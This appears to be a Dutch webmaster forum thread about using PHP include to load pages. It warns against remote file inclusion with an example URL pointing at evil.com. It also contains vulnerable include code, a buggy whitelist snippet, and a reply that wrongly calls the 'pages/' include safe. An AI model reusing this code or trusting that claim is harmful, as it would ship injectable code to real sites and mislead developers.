Webmasterplein.net

Hallo, ik ben bezig aan een nieuwe website waarin ik veel meer probeer neer te zetten dan ik eigenlijk kan. Een member systeem, een forum, een chatbox etc. Maarja daar leer je alleen maa van lijkt me.
Hier is de URL:

weet je hoe stoer!
alleen die header vind ik irri

Zet dit in de tabel waar normaal 't frame staat:
[code="php"]<?php
include('pagina.php');
?>[/code]
Dan zal in principe gewoon de pagina worden toegevoegt, wat je niet eens in de bron merkt.

Je doet het dan zeg maar zo:
[code="php"]include($_GET['page'] . '.php');[/code]
Maar deze manier is gigantisch onveilig,
page=http://www.evil.com/evilpage.php
Daar kunnen dus scripts staan die gevaarlijk zijn.
Daarom is er een betere manier.
Ik dacht dat het zo ging, maar ik weet het niet meer helemaal zeker.
[code="php"]// We zorgen ervoor dat we de var kunnen aanpassen.
$page = $_GET['page'];
//Kijken of er wel een pagina is ingevuldt.
if(empty($GET_['page'])){
//Nee, we geven de beginpagina
$page = 'jan'
}
//De pagina's die zijn toegestaan, dit veranderen en toevoegen als je nieuwe pagina's hebt.
$array = array('jan','piet','hein');
//Check of de pagina is toegestaan, door te kijken of hij in de array zit.
if(in_array($page, $array)){
//Include de pagina
include($page . '.php');
} else {
//De pagina zit niet in de array, maar we zeggen dat hij niet gevonden is.
echo 'Pagina niet gevonden';
}
[/code]

Bloe.

Wat je ook kan doen is de pagina's in een mapje zetten, dan krijg je dus:

[code="php"]<?
include('pages/'.$_GET['p'].'.php');
?>[/code]

Die onderste is idd wel veilig, di bovenste niet

wow dat ziet er allemaal vrij ingewikkeld uit! Is er niet gewoon een tag die ik aan de navigatie knop kan toekennen zodat hij de link op de plaats waar de inculde tag staat opent?

Nee, dat kan wel met Ajax.

Maar dat is nog een heel pak ingewikkelder

En zo ingewikkeld is php include niet hoor ^^